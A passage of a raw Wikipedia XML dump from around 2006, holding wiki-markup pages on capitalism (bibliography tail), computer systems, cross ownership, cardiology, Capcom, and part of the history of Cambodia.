* [[Alfred D. Chandler, Jr.|Chandler, Alfred D., Jr.]] ''The Visible Hand: The Managerial Revolution in American Business''. Cambridge, Mass., and London: Belknap Press of Harvard University Press, 1977. 
* [[John Kenneth Galbraith| Galbraith, John Kenneth]]. ''The New Industrial State'', 4th ed., 1985.
*[[John Gray (LSE)]]. ''False Dawn: The Delusions of Global Capitalism '', Granta, 2002 ISBN  1862075301
* [[David Harvey|Harvey, David]]. &quot;The Political-Economic Transformation of Late Twentieth Century Capitalism.&quot; In Harvey, David. ''The Condition of Postmodernity''. Cambridge, MA: Blackwell Publishers, 1990. ISBN 0631162941
* [[Robert L. Heilbroner| Heilbroner, Robert L.]] ''The Nature and Logic of Capitalism'', 1985.
* [[David Landes| Landes, David S.]]  ''The Unbound Prometheus: Technological Change and Industrial Development in Western Europe from 1750 to the Present''. Cambridge, U.K.: Cambridge University Press, 1969.
* [[Karl Marx| Marx, Karl]]. ''Capital: A Critical Analysis of Capitalist Production'', 3 vol., 1886&amp;#8211;1909; first published in German as ''Das Kapital: Kritik der politischen Oekonomie'', 1867&amp;#8211;1894.
* [[C. Wright Mills| Mills, C. Wright.]]: The Power Elite.
* [[Jerry Z. Muller| Muller, Jerry Z.]], &quot;The Mind and the Market - Capitalism in Modern European Thought&quot;. New York: Alfred A. Knopf (Random House), 2002 
* [[Kevin Philips| Philips, Kevin]]: Wealth and Democracy: A Political History of the American Rich.
* [[Ayn Rand| Rand, Ayn]]. ''Capitalism: The Unknown Ideal'' ISBN 0451147952
* [[W.W. Rostow| Rostow, W. W.]] ''The Stages of Economic Growth: A Non-Communist Manifesto''. Cambridge: Cambridge University Press, 1960.
* [[Murray Rothbard| Rothbard, Murray]]. ''Man, Economy, and State: A Treatise on Economic Principles'', (2 volumes.) 1962.
* [[Adam Smith| Smith, Adam]]. ''An Inquiry into the Nature and Causes of the Wealth of Nations'', 1776.
* [[Derek Sayer]]. ''Capitalism and Modernity: An excursus on Marx and Weber'', [[Routledge]], 1996. 
* [[Derek Wall| Wall, Derek]]. ''An Babylon and Beyond: The Economics of Anti-capitalist, Anti-globalist and Radical Green Movements. London: Pluto. ISBN: 0745323901 
* [[Immanuel Wallerstein| Wallerstein, Immanuel]]: The Modern World System.

[[Category:Capitalism]]
[[Category:Economic ideologies]]
[[Category:Marxist theory]]
[[Category:Social philosophy]]
[[Category:Society]]

[[ar:رأسمالية]]
[[bg:Капитализъм]]
[[ca:Capitalisme]]
[[cs:Kapitalismus]]
[[da:Kapitalisme]]
[[de:Kapitalismus]]
[[eo:Kapitalismo]]
[[es:Capitalismo]]
[[et:Kapitalism]]
[[fa:سرمایه‌داری]]
[[fi:Kapitalismi]]
[[fr:Capitalisme]]
[[gl:Capitalismo]]
[[he:קפיטליזם]]
[[hu:Kapitalizmus]]
[[id:Kapitalisme]]
[[it:Capitalismo]]
[[ja:資本主義]]
[[ko:자본주의]]
[[ln:Kapitalismɛ]]
[[lt:Kapitalizmas]]
[[mk:Капитализам]]
[[nl:Kapitalisme]]
[[nn:Kapitalisme]]
[[no:Kapitalisme]]
[[pl:Kapitalizm]]
[[pt:Capitalismo]]
[[ru:Капитализм]]
[[sk:Kapitalizmus]]
[[sl:Kapitalizem]]
[[sv:Kapitalism]]
[[th:ทุนนิยม]]
[[tr:Kapitalizm]]
[[vi:Chủ nghĩa tư bản]]
[[zh:资本主义]]</text>
    </revision>
  </page>
  <page>
    <title>Capitalism/different meanings</title>
    <id>5418</id>
    <revision>
      <id>15903628</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <username>Larry_Sanger</username>
        <id>216</id>
      </contributor>
      <comment>*</comment>
      <text xml:space="preserve">#REDIRECT [[Capitalism]]</text>
    </revision>
  </page>
  <page>
    <title>Computer system</title>
    <id>5419</id>
    <revision>
      <id>41868756</id>
      <timestamp>2006-03-02T06:31:08Z</timestamp>
      <contributor>
        <username>Rchamberlain</username>
        <id>181580</id>
      </contributor>
      <comment>/* See also */</comment>
      <text xml:space="preserve">A '''computer system''' is the synthesis of [[Computer hardware|hardware]] and [[Computer software|software]]. A typical computer system employs a [[computer]] that uses programmable devices to store, retrieve, and process data.  [http://computing-dictionary.thefreedictionary.com/computer+system] The [[personal computer]] or PC exemplifies one example of a computer system. An [[Automatic Teller Machine]] (ATM) is another example of a computer system. The [[Internet]] does NOT exemplify a computer system persay, but rather a [[computer network|network]] of computers. [http://www.orafaq.com/glossary/faqglosi.htm]

Even the simplest computer classifies as a computer system, because at least two components (hardware and software) have to work together. But the real meaning of &quot;computer system&quot; comes with interconnection.  Many computer systems can interconnect, that is, join to become a bigger [[system]]. Interconnecting computer systems can prove difficult due to incompatibilities. Sometimes these difficulties occur between differing hardware and sometimes between differing software.

Designers of different computer systems do not necessarily aim to interconnect their creations with any other system. Technically knowledgable people can often configure disparate computers to communicate using a set of rules and constraints known  as [[protocol (computing)|protocols]]. Protocols attempt to precisely define the communication within and between computing endpoints. If two computer systems define the same [[protocol (computing)|protocols]], they may be capable of interconnecting and become a part of a larger [[system]].


==See also==
*[[Apple Computer]]
*[[Embedded Linux]]
*[[Computer]]
*[[Information systems]]
*[[Internet Engineering Task Force|IETF]]
*[[IEEE]] standards
*[[Legacy system]]
*[[Embedded system]]


[[Category:Computer systems|*]]

[[de:Computersystem]]
[[ms:Sistem komputer]]
[[pl:System informatyczny]]
[[sv:Datasystem]]</text>
    </revision>
  </page>
  <page>
    <title>Cross ownership</title>
    <id>5420</id>
    <revision>
      <id>29167819</id>
      <timestamp>2005-11-24T23:08:08Z</timestamp>
      <contributor>
        <username>Dfmock</username>
        <id>250953</id>
      </contributor>
      <comment>/* Media Cross Ownership */</comment>
      <text xml:space="preserve">'''Cross ownership''' is a method of reinforcing business relationships by owning stock in the companies with which a given company does business. In the US, it also refers to a type of investment in different mass-media properties in one market.

==Cross ownership of stock==

Some countries where cross ownership of shares is a major part of the business culture are:
* [[Japan]]
* [[Germany]]

Positives of cross ownership:
* Closely ties each business to the economic destiny of its business partners
* Promotes a slow rate of economic change

Cross ownership of shares is criticized for:
* Stagnating the economy
* Wasting capital that could be used to improve productivity
* Expanding economic downturns by preventing reallocation of capital

A major factor in perpetuating cross ownership of shares is a high [[capital gains]] tax rate.  A company has less incentive to sell cross owned shares if taxes are high because of the immediate reduction in the value of the assets.

For example, a company owns $1000 of stock in another company that was originally purchased for $200.  If the capital gains tax rate is 50% (like Germany) and the company sells the stock,
the company has $600 which is 40 percent less than before it sold the stock.

Long term cross ownership of shares combined with a high capital tax rate greatly increases periods of asset deflation both in time and in severity.

==Media Cross Ownership==

Cross ownership also refers to a type of media ownership in which one type of communications (say a newspaper) owns or is the sister company of another type of medium (such as a radio or TV station). One example is ''[[The New York Times]]'' 's ownership of [[WQXR]] Radio and the ''[[Chicago Tribune]]'''s similar relationship with [[WGN]] Radio and Television.

The [[Federal Communications Commission]] generally does not allow cross ownership, to keep from one license holder having too much local media ownership, unless the license holder obtains a waiver, such as [[News Corporation]] and the [[Tribune Company]] have in New York.

The mid-1970s cross-ownership guidelines grandfathered already-existing crossownerships, such as ''Tribune''-WGN, ''New York Times''-WQXR and the ''[[New York Daily News]]'' ownership of [[WPIX]] Television and Radio. 

[[Category:Management]][[category:Strategic management]]

[[ja:&amp;#26666;&amp;#24335;&amp;#12398;&amp;#25345;&amp;#12385;&amp;#21512;&amp;#12356;]]</text>
    </revision>
  </page>
  <page>
    <title>Cardiology</title>
    <id>5421</id>
    <revision>
      <id>39397160</id>
      <timestamp>2006-02-12T22:16:13Z</timestamp>
      <contributor>
        <username>Ksheka</username>
        <id>40019</id>
      </contributor>
      <comment>/* Disorders of the [[heart valves]] */</comment>
      <text xml:space="preserve">'''Cardiology''' is the branch of [[medicine]] dealing with disorders of the [[heart]] and [[blood vessel]]s. The field is commonly divided in the branches of ''congenital heart defects'', ''coronary artery disease'', ''heart failure'', ''valvular heart disease'' and ''electrophysiology''.  Physicians specializing in this field of medicine are called '''cardiologists'''.

== Anatomy &amp; physiology ==
=== [[Heart|Basic anatomy]] (Structure of the heart) ===
* [[Epicardium]]
* [[Pericardium]]
* [[Myocardium]]
* [[Papillary muscle]]
* [[Endocardium]]
* [[Coronary circulation]] (Blood supply of the heart)
* [[Heart valve]]s

=== [[Circulatory system]] (Blood supply of the body) ===
* [[Cardiac output]]
* [[Heart rate]]
* [[Vascular resistance]]
* [[Blood vessel]]s

=== [[Pulmonary circulation]] (Oxygenation of the blood) ===
* [[Pulmonary artery]]
* [[Pulmonary vein]]

=== [[Cardiac pacemaker]] (Electrical system of the heart) ===
* [[Electrical conduction system of the heart]]
** [[Action potential]]
*** [[Ventricular action potential]]
* [[Sinoatrial node]]
* [[Atrioventricular node]]
* [[Bundle of His]]
* [[Purkinje fibers]]

=== Basic cardiac physiology ===
* [[Systole]]
* [[Diastole]]
* [[Heart sounds]]
* [[Preload]]
* [[Afterload]]
* [[Kussmaul's sign]]

== Disorders of the coronary circulation ==
* [[Atherosclerosis]]
* [[Restenosis]]
* [[Coronary heart disease]] (Ischaemic heart disease, Coronary artery disease)
* [[Acute coronary syndrome]]
** [[Angina]]
** [[Myocardial infarction]] (Heart attack)

== Disorders of the myocardium (muscle of the heart) ==
* [[Cardiomyopathy]]
** [[Ischemic cardiomyopathy]]
** [[Nonischemic cardiomyopathy]]
*** [[Amyloid cardiomyopathy]]
*** [[Hypertrophic cardiomyopathy]] (HCM)
**** [[Hypertrophic obstructive cardiomyopathy]] (HOCM) (Idiopathic hypertrophic subaortic stenosis (IHSS))
**** [[Apical hypertrophic cardiomyopathy]]
*** [[Dilated cardiomyopathy]]
**** [[Alcoholic cardiomyopathy]]
*** [[Arrhythmogenic right ventricular dysplasia]] (Arrhythmogenic right ventricular cardiomyopathy)
*** [[Restrictive cardiomyopathy]]
* [[Congestive heart failure]]
** [[Cor pulmonale]]
* [[Cardiac arrest]]
* Primary tumors of the heart
** [[Myxoma]]

== Disorders of the [[pericardium]] (outer lining of the heart) ==
* [[Pericarditis]]
* [[Cardiac tamponade|Pericardial tamponade]]
* [[Constrictive pericarditis]]

== Disorders of the [[heart valves]] ==
* [[Aortic valve]] disorders
** [[Aortic insufficiency]]
** [[Aortic stenosis]]
** [[Aortic valve replacement]]
** [[Aortic valve repair]]
** [[Aortic valvuloplasty]]
* [[Mitral valve]] disorders
** [[Mitral valve prolapse]]
** [[Mitral regurgitation]]
** [[Mitral stenosis]]
** [[Mitral valve replacement]]
** [[Mitral valve repair]]
** [[Mitral valvuloplasty]]
* [[Pulmonic valve]] disorders
** [[Congenital pulmonic stenosis]]
* [[Tricuspid valve]] disorders

== Disorders of the electrical system of the heart ([[Cardiac electrophysiology]]) ==
* [[Cardiac arrhythmia]]s
** [[Supraventricular tachycardia]] (Fast rhythms that originate above the ventricles)
*** [[Atrial fibrillation]]
*** [[Atrial flutter]]
*** [[Atrial tachycardia]]
*** [[Sick sinus syndrome]] (Tachy-Brady syndrome)
*** [[AV nodal reentrant tachycardia]] (AVNRT)
*** [[AV reentrant tachycardia]] (AVRT)
* [[Bigeminy]]
* [[Premature ventricular contraction]]
* [[Ventricular tachycardia]]
** [[Monomorphic ventricular tachycardia]]
** [[Polymorphic ventricular tachycardia]]
*** [[Torsades de pointes]]
* [[Ventricular fibrillation]]
* [[Sick sinus syndrome]]
* [[Heart block]]
** [[First degree heart block]]
** [[Second degree heart block]]
** [[Trifascicular heart block]]
** [[Third degree heart block]]
* Specific diseases of the electrical system of the heart
** [[Brugada syndrome]]
** [[Long QT syndrome]]
** [[Short QT syndrome]]
** [[Wolff-Parkinson-White syndrome]] (WPW syndrome)

== Inflammation and infection of the heart ==
* [[Endocarditis]]
** [[Rheumatic heart disease]]
* [[Myocarditis]]
* [[Pericarditis]]

== [[Congenital heart disease]] ==
* [[Atrial septal defect]]
* [[Ventricular septal defect]]
* [[Patent ductus arteriosus]]
* [[Bicuspid aortic valve]]
* [[Tetralogy of Fallot]]
* [[Transposition of the great vessels]] (TGV)

== Diseases of blood vessels (Vascular diseases) ==
* [[Vasculitis]]
* [[Atherosclerosis]]
* [[Aneurysm]]
* [[Varicose veins]]
* [[Economy class syndrome]] &lt;!-- VascularBiology or Hematology ? --&gt;
* Diseases of the aorta
** [[Coarctation of the aorta]]
** [[Aortic dissection]]
* Diseases of the [[Carotid artery|carotid arteries]]
** [[Carotid artery disease]]
** [[Carotid artery dissection]]

== Procedures done for coronary artery disease ==
* [[Atherectomy]]
* [[Angioplasty]] (PTCA)
** [[Stent|Stenting]] &lt;!-- a device ? --&gt;
* [[Coronary artery bypass surgery]] (CABG)
* [[Enhanced external counterpulsation]] (EECP)

== Devices used in cardiology ==
* Devices used to maintain normal electrical rhythm
** [[Artificial pacemaker|Pacemaker]]
** [[Defibrillator]]
*** [[Automated external defibrillator]]
*** [[Implantable cardioverter-defibrillator]]
* Devices used to maintain [[blood pressure]]
** [[Artificial heart]]
** [[Heart-lung machine]]
** [[Intra-aortic balloon pump]]
** [[Ventricular assist device]]

== [[Cardiology diagnostic tests and procedures|Diagnostic tests and procedures]] ==
* [[Echocardiography|Echocardiogram]]
* [[Cardiac stress test]]
* [[Electrocardiogram]] (ECG or EKG)
** [[Holter monitor|Ambulatory Holter monitor]]
* [[Electrophysiologic study]]
** [[Programmed electrical stimulation]]
* [[Sphygmomanometer]] (Blood pressure cuff)
* [[IVUS]] (IntraVascular UltraSound)
* [[Cardiac enzymes]]

== Cardiac pharmaceutical agents ==
The followings are [[medication]]s commonly prescribed in cardiology:
* [[Antiarrhythmic agents]]
** Type I ([[sodium]] [[ion channel|channel]] blockers)
*** Type Ia
**** [[Quinidine]]
*** Type Ib
**** [[Lidocaine]]
**** [[Phenytoin]]
*** Type Ic
**** [[Propafenone]]
** Type II ([[beta blocker]]s)
*** [[Metoprolol]]
** Type III ([[potassium]] channel blockers)
*** [[Amiodarone]]
*** [[Dofetilide]]
*** [[Sotalol]]
** Type IV (slow [[calcium channel blocker]]s)
*** [[Diltiazem]]
*** [[Verapamil]]
** Type V
*** [[Adenosine]]
*** [[Digoxin]]
* [[ACE inhibitor]]s
** [[Captopril]]
** [[Enalapril]]
** [[Perindopril]]
** [[Ramipril]]
* [[Angiotensin II receptor antagonist]]s
** [[Candesartan]]
** [[Eprosartan]]
** [[Irbesartan]]
** [[Losartan]]
** [[Telmisartan]]
** [[Valsartan]]
* [[Beta blocker]]
* [[Calcium channel blocker]]

==See also==
* [[Interventional cardiology]]

==External links==
* [http://health.nih.gov/search.asp/10 U.S. National Institue of Health (NIH)]
* [http://www.escardio.org European Society of Cardiology]
* [http://www.acc.org American College of Cardiology]
* [http://www.americanheart.org American Heart Association]

{{Medicine}}
{{Cardiovascular system}}

[[Category:Cardiology| ]]

[[de:Kardiologie]]
[[es:Cardiología]]
[[fr:Cardiologie]]
[[he:קרדיולוגיה]]
[[nl:Cardiologie]]
[[nds:Kardiologie]]
[[ja:循環器学]]
[[pl:Kardiologia]]
[[pt:Cardiologia]]
[[ru:Кардиология]]
[[sv:Kardiologi]]</text>
    </revision>
  </page>
  <page>
    <title>Capcom</title>
    <id>5422</id>
    <revision>
      <id>41461466</id>
      <timestamp>2006-02-27T14:24:02Z</timestamp>
      <contributor>
        <username>Weregerbil</username>
        <id>700735</id>
      </contributor>
      <comment>rv, no linkspam in the lead please</comment>
      <text xml:space="preserve">:''For the original [[NASA]] meaning, see [[capsule communicator]].''
{{Infobox Company |
  company_name = Capcom Co. Ltd.|
  company_logo = [[Image:Capcom logo.gif|The current Capcom logo.]] |
  company_slogan = N/A |
  company_type   = [[Public company|Public]] {{tyo|9697}} |
  foundation = [[May 30]], [[1979]] |
  location = [[Osaka, Japan]] |[[USA]]HQ:California,USA Studios:California,USA [[Asia]]HQ:Hong Kong [[Europe]]HQ:UKGreat Britian Offices:Germany, England 
  industry =[[Computer and video game industry]]&lt;br&gt;[[Entertainment industry]]|
  revenue = [[Yen|JPY]] 52 billion (2004) |
  num_employees = 1,206 |
  key_people =  [[Kenzo Tsujimoto]], CEO&lt;br /&gt;[[Yoshiki Okamoto]]&lt;br /&gt;[[Shinji Mikami]]&lt;br /&gt;[[Keiji Inafune]]|
  products =  [[Mega Man]]&lt;br /&gt;[[Street Fighter]]&lt;br /&gt;[[Resident Evil]]&lt;br /&gt;[[Breath of Fire]]&lt;br /&gt;[[Darkstalkers]]&lt;br /&gt;[[Marvel vs. Capcom series]]&lt;br /&gt; [[Captain Commando]] &lt;br /&gt;([[List of Capcom games|See complete products listing.]])|
  homepage = [http://www.capcom.com www.capcom.com] |
}}
'''Capcom''' (&amp;#12459;&amp;#12503;&amp;#12467;&amp;#12531; in [[Japanese language|Japanese]]) {{tyo|9697}} is a leading [[Japan]]ese [[video game developer|developer]] and [[video game publisher|publisher]] of [[computer and video games]]. It was founded in [[1979]] as Japan Capsule Computers, a company devoted to the manufacturing and distribution of electronic game machines. Their current name is a conjunction of '''Cap'''sule '''Com'''puters''.

==History==
Over the years, Capcom has created some of the biggest and longest running [[video game franchise|franchises]] in video gaming history. The company released their first [[arcade game]] in [[1984]]: ''[[Vulgus]]''. Their early games were mostly arcade games such as the [[scrolling shooter]] ''[[1942 (video game)|1942]]''.

In the late [[1980s|80s]], [[Yoshiki Okamoto]] joined the company from [[Konami]]. In [[1987]], Capcom released the game ''[[Street Fighter]]''. In the same year, the company also released the hugely influential [[platform game|platformer]] ''[[Mega Man (video game)|Mega Man]]'' (''Rockman'' in Japan) for the [[Nintendo Entertainment System]]. ''[[Final Fight]]'', a [[fighting game|beat 'em up]], was released in [[1989]].  In [[1991]], Okamoto's ''[[Street Fighter II]]'' was released in the [[video arcade|arcades]]. ''[[Resident Evil (video game)|Resident Evil]]'' (''Biohazard'' in Japan), a successful [[survival horror game]], was released on the [[PlayStation]] in [[1996]].

Two Capcom development houses, Clover Studio[http://games.ign.com/objects/674/674345.html] and [[Flagship]][http://games.ign.com/objects/027/027402.html] have created successful titles in recent years, including the ''[[Viewtiful Joe]]'' series and ''[[The Legend of Zelda: Oracle of Ages|The Legend of Zelda: Oracle Series]]'' (under supervision of [[Shigeru Miyamoto]]).

In [[2002]] a movie based on the series entitled ''[[Resident Evil (movie)|Resident Evil]]'' was released, which recieved a sequel )''[[Resident Evil: Apocalypse]]'') in [[2004]]. A third movie, ''[[Resident Evil: Afterlife]]'' will be released in [[2007]].

==Mascot==

[[image:Captain_Commando.png|right|thumb|Captain Commando, as he appears in ''Marvel vs. Capcom''.]]
Capcom's original [[mascot]], [[Captain Commando]], is a [[superhero]] who wears a futuristic armor of unknown origin. His name forms the words CapCom when the first three letters of each word are combined. He originally appeared in the early Capcom [[Famicom]]/NES game ''[[Section Z]]'' (the arcade version of ''Section Z'' has similar [[gameplay]], but it is not clear that the hero is the same person) and in the manuals of Capcom's early NES games to thank players for purchasing them. He later appeared as the title character in an arcade game bearing his name, as well as in ''[[Marvel vs. Capcom series|Marvel vs. Capcom]]'' and its [[sequel]], in which he is often considered to be an excessively powerful character. In ''Marvel vs. Capcom'', he still serves as a mascot, regularly shouting &quot;Capcom!&quot; during fights and relaying Capcom-themed messages after winning. He displays the ability to quickly change from regular clothing, including a cowboy hat, into his armor, suggesting a [[secret identity]]. [[Mega Man (character)|Mega Man]] has superseded Captain Commando as Capcom's official mascot, primarily because of the immense popularity of the ''[[Mega Man]]'' series. Captain Commando's storyline is not connected to that of ''[[Commando (game)|Commando]]'' and ''[[Bionic Commando]]'', despite the similar name.




==Subsidiaries and related corporations== 
'''Capcom U.S.A., Inc.''' was established in [[California]] as the official North American subsidiary of Capcom in [[August]] [[1985]].

'''Capcom Entertainment, Inc.'''

'''Capcom Studio 8, Inc.''' was established as the [[R&amp;D]] division of Capcom USA, Inc. in [[June]] [[1995]].

'''Capcom Asia Co., Ltd.''' was established in [[Hong Kong]] as the official Asian subsidiary of Capcom in [[July]] [[1993]].

'''KOKO Capcom Asia Co., Ltd.''' the official South Korean subsidiary of Capcom in [[July]] [[2001]].

'''Capcom Eurosoft Ltd.''' was established in [[United Kingdom]] as the official European subsidiary of Capcom in [[July]] [[1998]].

'''Suleputer''' was established to market and distribute games and related merchandising ([[books]], [[music]], [[anime]], etc.) in [[Asia]]. Their current name is a conjunction of Cap'''sule''' Com'''puter'''.

'''Captron Co., Ltd.''' manages the rent, lease and operation of real estate properties.

'''[[Flagship (company)|Flagship Co., Ltd.]]''' is the development studio that made ''[[Onimusha]]'' and the ''[[The Legend of Zelda series|Zelda]]'' games on the [[Game Boy Color]] and [[Game Boy Advance]], most recently releasing ''[[The Legend of Zelda: The Minish Cap]]''.

'''Capcom Charbo Co., Ltd.''' manages the rental, maintenance and lease of electronic game machines.

'''CE Europe Ltd.''' was established in [[London]] in [[November 2002]].

'''CEG Interactive Entertainment GmbH''' was established in [[Germany]] in [[February 2003]].

'''[[Nude Maker]] Co., Ltd.''' is the development studio that made Clock Tower 1, 2 and the Steel Batalion games on the PlayStation and Xbox..

'''[[Clover Studio]] Co., Ltd.''' is a development studio based in [[Osaka]]. It was founded in [[July 2004]] and has been responsible for the ''Viewtiful Joe'' series.

==Movies and Television==
Capcom's games and characters therein have been featured in a number of television cartoons and theatrical movies. Some of which include:
* One-time company mascot, '''Mega Man''', played a supporting role in a Nintendo inspired TV-show [[Captain N: The Game Master]] and has later been featured in two separate TV-cartoons. ''Mega Man'' produced by Ruby-Spears and an anime-series ''[[Mega Man: NT Warrior]]''. He also starred in three OVAs originally released in Japan in 1993, released later on DVD in North America.
* '''Street Fighter 2''' has also been a popular source films and cartoons. A flopped [[Street Fighter (film)|live action adaption]] was released in 1994. Shortly afterwards a more popular anime adaptation was released as well as an american cartoon-series based on the movie.
* The fighting-game '''Dark Stalkers''' was made into two animated adaptations in Japan and US.
* So far the most successful series (of [[Resident Evil (film)|films]]) has been based on Capcom's popular survivor horror series '''[[Resident Evil]]'''. Though the first received a cold reception in theatres, its VHS and DVD sales motivated Paul Anderson to make a sequel which was also a financial success. Two more sequels are due to be released; the plot of the third will lead to the fourth which is planned to be the last one.

==See also==
*'''[[List of Capcom games]]'''
*[[List of Japanese companies]]
*[[Survival horror game]]
*[[Capcom Production Studio]] (Contains links to studios 1-8, no 7)

==References==
* &quot;[http://www.capcom.co.jp/ir/english/company/adress.html CAPCOM: Corporate Profile: Capcom Group].&quot; December 27, 2004. Accessed on June 20, 2005.
* &quot;[http://www.capcom.co.jp/ir/english/company/history.html CAPCOM: Corporate Profile: Corporate History].&quot; Accessed on June 20, 2005.
* &quot;[http://www.capcom.co.jp/ir/english/finance/index.html CAPCOM: Financial Information].&quot; Accessed on June 20, 2005.

==External links==
*[http://www.capcom.co.jp/ Capcom Co. Ltd.] (in Japanese)
*[http://www.capcom.com/ Capcom U.S.A., Inc.]
*[http://www.devilmaycry.org/capcom/ Devil May Cry.org - Capcom Info]
*[http://www.mobygames.com/company/sheet/companyId,642/ MobyGame's entry on Capcom]

[[Category:Capcom|*]]
[[Category:Computer and video game companies]]

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    <title>History of Cambodia</title>
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      <comment>/* The Khmer Republic and the War */</comment>
      <text xml:space="preserve">{{History of Cambodia}}
This is the '''History of Cambodia''' series.

==Early Kingdoms==
{{main|Early history of Cambodia}}
The [[Khmer people]], one of the first inhabitants of South East Asia, were among the first in [[Southeast Asia]] to adopt religious ideas and political institutions from India and to establish centralized kingdoms encompassing large territories. The earliest known kingdom in the area, [[Funan]], flourished from around the first to the sixth century A.D. It was succeeded by [[Chenla]], which controlled large areas of modern [[Cambodia]], [[Vietnam]], [[Laos]], and [[Thailand]].[[Khmer empire]] The golden age of Khmer civilization, however, was the period from the ninth to the thirteenth centuries, when the kingdom of [[Kambojas |Kambuja]], which gave Kampuchea, or Cambodia, its name, ruled large territories from its capital in the region of Angkor in western Cambodia. 

Under [[Jayavarman VII of Kambuja|Jayavarman VII]] (1181-ca. 1218), Kambuja reached its zenith of political power and cultural creativity. Jayavarman VII gained power and territory in a series of successful wars against its close enemies; the Chams and the Vietnamese. Following Jayavarman VII's death, Kambuja experienced gradual decline. Important factors were the aggressiveness of neighboring peoples (especially the Thai, or [[Siam]]ese), chronic interdynastic strife, and the gradual deterioration of the complex irrigation system that had ensured rice surpluses. The [[Angkor]]ian monarchy survived until 1431, when the Thai captured [[Angkor Thom]] and the Cambodian king fled to the southern part of his country.

==Dark Ages==
{{main|Dark ages of Cambodia}}
The fifteenth to the nineteenth century was a period of continued decline and territorial loss. Cambodia enjoyed a brief period of prosperity during the sixteenth century because its kings, who built their capitals in the region southeast of the [[Tonle Sap]] along the [[Mekong River]], promoted trade with other parts of Asia. This was the period when [[Spain|Spanish]] and [[Portugal|Portuguese]] adventurers and missionaries first visited the country. But the Thai conquest of the new capital at [[Lovek]] in 1594 marked a downturn in the country's fortunes and Cambodia became a pawn in power struggles between its two increasingly powerful neighbors, Siam and Vietnam. Vietnam's settlement of the [[Mekong Delta]] led to its annexation of that area at the end of the seventeenth century. Cambodia thereby lost some of its richest territory and was cut off from the sea. Such foreign encroachments continued through the first half of the nineteenth century because Vietnam was determined to absorb Khmer land and to force the inhabitants to accept Vietnamese culture.

==French Colonial Period==
{{main|Colonial Cambodia}}
In 1863 [[Norodom of Cambodia|King Norodom]] signed an agreement with the [[France|French]] to establish a protectorate over his kingdom. The country gradually came under French colonial domination. During [[World War II]], the [[Japan]]ese allowed the French government (based at [[Vichy]]) that collaborated with the Nazis to continue administering Cambodia and the other Indochinese territories, but they also fostered Khmer nationalism. Cambodia enjoyed a brief period of independence in [[1945]] before Allied troops restored French control. King [[Norodom Sihanouk]], who had been chosen by France to succeed [[Monivong of Cambodia|King Monivong]] in [[1941]], rapidly assumed a central political role as he sought to neutralize leftist and republican opponents and attempted to negotiate acceptable terms for independence from the French. Sihanouk's &quot;royal crusade for independence&quot; resulted in grudging French acquiescence to his demands for a transfer of sovereignty. A partial agreement was struck in October 1953. Sihanouk then declared that independence had been achieved and returned in triumph to [[Phnom Penh]].

==First administration of Sihanouk==
{{main|Cambodia under Sihanouk (1954-1970)}}
As a result of the Geneva Conference on Indochina, Cambodia was able to bring about the withdrawal of the [[Viet Minh]] troops from its territory and to withstand any residual impingement upon its sovereignty by external powers. 

Neutrality was the central element of Cambodian foreign policy during the 1950s and 1960s. By the mid-1960s, parts of Cambodia's eastern provinces were serving as bases for North Vietnamese Army and [[Viet Cong]] (NVA/VC) forces operating against South Vietnam, and the port of Sihanoukville was being used to supply them. As NVA/VC activity grew, the United States and [[South Vietnam]] became concerned, and in 1969, the United States began a fourteen month long series of bombing raids targeted at NVA/VC elements, contributing to destabilization. Prince Sinanouk tacitly supported the bombing. The United States claims that the bombing campaign took place no further than ten, and later twenty miles inside the Cambodian border, areas where the Cambodian population had been evicted by the NVA. {{ref|Davidson}} &lt;!--Cite supports entire paragraph--&gt; In October 40,000 North Vietnamese soldiers entered Central Cambodia with Sihanouk's approval. {{Ref|Encyclopedia}}

Throughout the 1960s, domestic Cambodian politics polarized. Opposition grew within the middle class and among leftists including Paris-educated leaders such as [[Son Sen]], [[Ieng Sary]], and Saloth Sar (later known as [[Pol Pot]]), who led an [[insurgent|insurgency]] under the clandestine Communist Party of Kampuchea (CPK). Sihanouk called these insurgents the [[Khmer Rouge]], literally the &quot;Red Khmer.&quot; But the 1966 national assembly elections showed a significant swing to the right, and Gen. [[Lon Nol]] formed a new government, which lasted until 1967. During 1968 and 1969, the insurgency worsened. In August 1969, Gen. Lon Nol formed a new government. Prince Sihanouk went abroad for medical reasons in January 1970.

==The Khmer Republic and the War==
{{main|Civil War in Cambodia}}
In March [[1970]], while Prince Sihanouk was absent, Gen. [[Lon Nol]] [[Cambodian coup of 1970|deposed Prince Sihanouk and assumed power]]. Son Ngoc Thanh announced his support for the new government. On [[October 9]], the Cambodian monarchy was abolished, and the country was renamed the Khmer Republic.

Hanoi rejected the new republic's request for the withdrawal of NVA troops.  2,000-4,000 Cambodians who had gone to North Vietnam in 1954 reentered Cambodia, backed by North Vietnamese soldiers.  In response, the United States moved to provide material assistance to the new government's armed forces, which were engaged against both the CPK insurgents and NVA forces. 

In April 1970, US President Nixon announced to the American public that US and South Vietnamese ground forces had entered Cambodia in a campaign aimed at destroying NVA base areas in Cambodia (see [[Cambodian Incursion]]). The US had already been bombing Cambodia for well over a year by that point.  Demonstrations took place across college campuses in the US, culminating in the death of four students at [[Kent State]], lending support in the US withdrawal from Vietnam.

Although a considerable quantity of equipment was seized or destroyed by US and South Vietnamese forces, containment of North Vietnamese forces proved elusive.  The North Vietnamese moved deeper into Cambodia to avoid US and South Vietnamese raids. NVA units overran many Cambodian army positions while the CPK expanded their small-scale attacks on lines of communication.

The Khmer Republic's leadership was plagued by disunity among its three principal figures: Lon Nol, Sihanouk's cousin [[Sirik Matak]], and National Assembly leader [[In Tam]]. Lon Nol remained in power in part because none of the others were prepared to take his place. In 1972, a constitution was adopted, a parliament elected, and Lon Nol became president. But disunity, the problems of transforming a 30,000-man army into a national combat force of more than 200,000 men, and spreading corruption weakened the civilian administration and army.

The Communist insurgency inside Cambodia continued to grow, with supplies and military support provided by North Vietnam. [[Pol Pot]] and [[Ieng Sary]] asserted their dominance over the Vietnamese-trained communists, many of whom were purged. At the same time, the [[Communist Party of Kampuchea]] forces became stronger and more independent of their Vietnamese patrons. By 1973, the CPK were fighting battles against government forces with little or no North Vietnamese troop support, and they controlled nearly 60% of Cambodia's territory and 25% of its population.

The government made three unsuccessful attempts to enter into negotiations with the insurgents, but by 1974, the CPK were operating openly as divisions, and some of the NVA combat forces had moved into South Vietnam. Lon Nol's control was reduced to small enclaves around the cities and main transportation routes. More than 2 million refugees from the war lived in [[Phnom Penh]] and other cities.

